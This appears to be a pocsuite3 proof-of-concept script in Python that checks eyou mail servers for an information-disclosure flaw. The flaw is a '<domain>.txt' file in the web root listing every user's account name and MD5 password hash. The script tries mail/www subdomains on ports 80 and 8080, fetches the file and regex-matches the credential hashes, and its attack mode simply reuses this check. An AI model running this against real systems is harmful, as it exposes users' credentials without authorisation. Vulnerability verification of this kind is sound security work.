"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str
from requests.exceptions import ReadTimeout
from urllib.parse import urlparse
import re
class DemoPOC(POCBase):
vulID = '1040' # ssvid
version = '1'
author = ['chenghs@knownsec.com']
vulDate = '2013-07-15'
createDate = '2013-08-15'
updateDate = '2013-08-15'
references = ['http://wooyun.org/bugs/wooyun-2013-028987']
name = 'eyou 信息泄露漏洞 POC'
appPowerLink = 'http://hosting.eyou.com'
appName = 'eyou'
appVersion = '#'
vulType = 'Information Disclosure'
desc = '''部分亿邮系统根目录下存在一个以“域名.txt”命名的文档，里面记录着所有用户的帐号和密码信息。'''
samples = []
install_requires = ['']
def get_domain(self, url):
'''返回顶级域名'''
ds = ['ac', 'ad', 'aeaero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar',
'arpa', 'as', 'asia', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg',
'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bzca',
'cat', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'edu', 'ee',
'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge',
'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gov', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw',
'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'info', 'int',
'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jobs', 'jp', 'ke', 'kg', 'kh', 'ki', 'km',
'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu',
'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mil', 'mk', 'ml', 'mm', 'mn', 'mo',
'mobi', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum', 'mv', 'mw', 'mx', 'my', 'mz', 'na',
'name', 'nc', 'ne', 'net', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'pro', 'ps', 'pt', 'pw',
'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si',
'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tel',
'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'travel', 'tt', 'tv',
'tw', 'tz', 'ua', 'ug', 'uk', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu',
'wf', 'ws', 'ye', 'yt', 'za', 'zm', 'zw']
target = urlparse(url).netloc.split(':')[0]
arr = target.split('.')
if arr[-2] in ds:
domain = str(arr[-3])
domain += '.' + str(arr[-2])
domain += '.' + str(arr[-1])
return domain
else:
domain = str(arr[-2])
domain += '.' + str(arr[-1])
return domain
def _verify(self):
result = {}
url = self.url
ports = ['80', '8080']
domains = ['mail', '', 'www']
if urlparse(url).netloc.split(':')[0].split('.')[-1].isdigit(): # 如果域名是IP，则不用替换子域名
domain = url.lstrip('http://')
domains = ['']
else:
domain = self.get_domain(url)
for i in domains:
for j in ports:
url = 'http://' + i + '.' + domain + ':' + j + '/' + domain + '.txt'
try:
response = requests.get(url).text
except:
continue
if response:
reg = re.compile(domain + "\:\{md5\}(.*?)\:")
res = reg.findall(response)
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
break
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _attack(self):
return self._verify()
register_poc(DemoPOC)
京公网安备 11010502034610号
暂无评论